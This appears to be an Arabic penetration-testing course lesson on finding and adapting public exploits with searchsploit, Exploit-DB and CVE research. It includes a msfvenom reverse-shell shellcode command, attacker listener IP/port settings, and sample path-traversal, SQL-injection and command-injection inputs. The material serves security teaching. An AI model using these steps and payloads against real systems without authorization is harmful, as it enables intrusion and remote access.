تحليل الثغرات والاستغلال
بحث الثغرات واكتشاف الاستغلالات
4 دقيقة للقراءة
بعد الاستطلاع، تحتاج لتحديد الثغرات القابلة للاستغلال. يغطي هذا الدرس كيفية البحث وإيجاد الاستغلالات العامة.
عملية الاستغلال
نتائج الاستطلاع → بحث الثغرات → اختيار الاستغلال → التعديل → التنفيذ
↓ ↓ ↓ ↓ ↓
إصدارات الخدمات البحث في قواعد البيانات مطابقة الإصدار إصلاح shellcode الحصول على الوصول
معلومات OS قراءة التنبيهات التحقق من الموثوقية تحديث IPs
Searchsploit (أداة أساسية)
Searchsploit هو واجهة سطر أوامر لـ Exploit-DB، تحتوي على آلاف الاستغلالات.
الاستخدام الأساسي
# البحث عن استغلالات
searchsploit apache 2.4
searchsploit vsftpd
searchsploit windows smb
# البحث بـ CVE
searchsploit CVE-2021-44228
# مطابقة دقيقة
searchsploit -e "Apache 2.4.49"
الأعلام المفيدة
| العلم | الغرض | مثال |
|---|---|---|
-w |
إظهار رابط Exploit-DB | searchsploit -w vsftpd |
-m |
نسخ الاستغلال للدليل الحالي | searchsploit -m 49757 |
-x |
فحص/فتح الاستغلال | searchsploit -x 49757 |
-p |
إظهار المسار الكامل | searchsploit -p 49757 |
-t |
البحث في العنوان فقط | searchsploit -t apache |
--exclude |
استبعاد مصطلحات | searchsploit smb --exclude="dos" |
سير العمل العملي
# 1. البحث عن ثغرة الخدمة
searchsploit "OpenSSH 7.2"
# 2. عرض الاستغلال
searchsploit -x linux/remote/40136.py
# 3. النسخ لدليل العمل
searchsploit -m linux/remote/40136.py
# 4. الفحص والتعديل حسب الحاجة
nano 40136.py
قواعد بيانات الاستغلالات عبر الإنترنت
Exploit-DB (exploit-db.com)
المصدر الرئيسي للاستغلالات العامة:
الميزات:
├── كود استغلال كامل
├── استغلالات موثقة (معلّمة بعلامة صح)
├── قاعدة بيانات Google Hacking
├── أوراق و shellcodes
└── البحث بـ: CVE، المنصة، النوع، التاريخ
GitHub
العديد من الاستغلالات مستضافة على GitHub:
# البحث في GitHub عن استغلالات
# النمط: CVE-YYYY-XXXXX
# أمثلة البحث:
"CVE-2021-44228 exploit"
"MS17-010 python"
"EternalBlue poc"
موارد أخرى
| المورد | الرابط | ملاحظات |
|---|---|---|
| Packet Storm | packetstormsecurity.com | استغلالات وأدوات |
| 0day.today | 0day.today | استغلالات حديثة |
| Rapid7 | rapid7.com/db | وحدات Metasploit |
| NVD | nvd.nist.gov | تفاصيل CVE |
تقييم الاستغلالات
قبل تشغيل أي استغلال، قيّمه:
قائمة المراجعة:
□ هل يطابق الإصدار الدقيق؟
□ هل هو موثق/موثوق؟
□ بأي لغة مكتوب؟
□ هل يتطلب تعديل؟
□ ماذا يفعل الكود فعلياً؟
□ هل هناك تبعيات؟
□ هل هو DoS أم RCE فعلي؟
قراءة كود الاستغلال
اقرأ الكود دائماً قبل التشغيل:
# ابحث عن هذه الأقسام:
# 1. تكوين الهدف
RHOST = "192.168.1.10" # غيّر هذا
RPORT = 445 # تحقق من المنفذ
LHOST = "192.168.1.5" # عنوان IP الخاص بك
LPORT = 4444 # منفذ المستمع الخاص بك
# 2. Payload/shellcode
# تحقق من صحة البنية (x86/x64)
# تحقق إذا كان IP/المنفذ يحتاج تحديث
# 3. التعليقات والاستخدام
# اقرأ ملاحظات المؤلف
# تحقق من المتطلبات
بحث CVE
فهم صيغة CVE
CVE-2021-44228
│ │ │
│ │ └── رقم التسلسل
│ └── سنة الاكتشاف/التعيين
└── الثغرات والتعرضات الشائعة
خطوات البحث
# 1. البحث في NVD للتفاصيل
# nvd.nist.gov/vuln/detail/CVE-XXXX-XXXXX
# 2. فحص درجة CVSS
# حرجة (9.0-10.0)، عالية (7.0-8.9)، متوسطة (4.0-6.9)، منخفضة (0.1-3.9)
# 3. قراءة تنبيه البائع
# فحص الإصدارات المتأثرة
# البحث عن التصحيحات/الحلول البديلة
# 4. البحث عن PoC
searchsploit CVE-2021-44228
# بحث GitHub
مطابقة الإصدار
مطابقة الإصدار الدقيقة أمر حاسم:
لافتة الخدمة: Apache/2.4.49 (Unix)
↓
البحث: searchsploit "apache 2.4.49"
↓
الاستغلال: Apache 2.4.49 - Path Traversal
↓
التحقق: فحص تعليقات الاستغلال للإصدارات الدقيقة
التعامل مع نطاقات الإصدار
الاستغلال يذكر: "متأثر: 2.4.0 - 2.4.49"
إصدار الهدف: 2.4.41
النتيجة: ✓ الهدف ضمن النطاق المتأثر
أنواع الاستغلالات التي يجب معرفتها
| النوع | الوصف | مثال |
|---|---|---|
| تنفيذ الكود عن بعد | تنفيذ أوامر عن بعد | MS17-010 |
| تصعيد الصلاحيات المحلي | الارتقاء من مستخدم إلى root | DirtyPipe |
| تجاوز المصادقة | تخطي آليات تسجيل الدخول | بيانات اعتماد افتراضية |
| اجتياز المسار | الوصول لملفات خارج webroot | ../../../etc/passwd |
| حقن SQL | التلاعب بقاعدة البيانات | ' OR 1=1-- |
| حقن الأوامر | تنفيذ أوامر OS | ; id |
نصائح تعديل الاستغلالات
معظم الاستغلالات تحتاج تعديل قبل الاستخدام:
# التعديلات الشائعة المطلوبة:
# 1. عناوين IP
RHOST = "10.10.10.10" # عنوان IP الهدف
LHOST = "10.10.14.5" # عنوان IP الخاص بك (tun0)
# 2. المنافذ
RPORT = 80 # منفذ الهدف
LPORT = 443 # منفذ المستمع الخاص بك
# 3. Shellcode
# توليد shellcode جديد مع msfvenom
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=x LPORT=y -f python
# 4. إصدار Python
#!/usr/bin/env python3 # تحديث shebang
# 5. التبعيات
# pip install requests pwntools
في الدرس التالي، سنغطي إنشاء والتعامل مع shells للحفاظ على الوصول. :::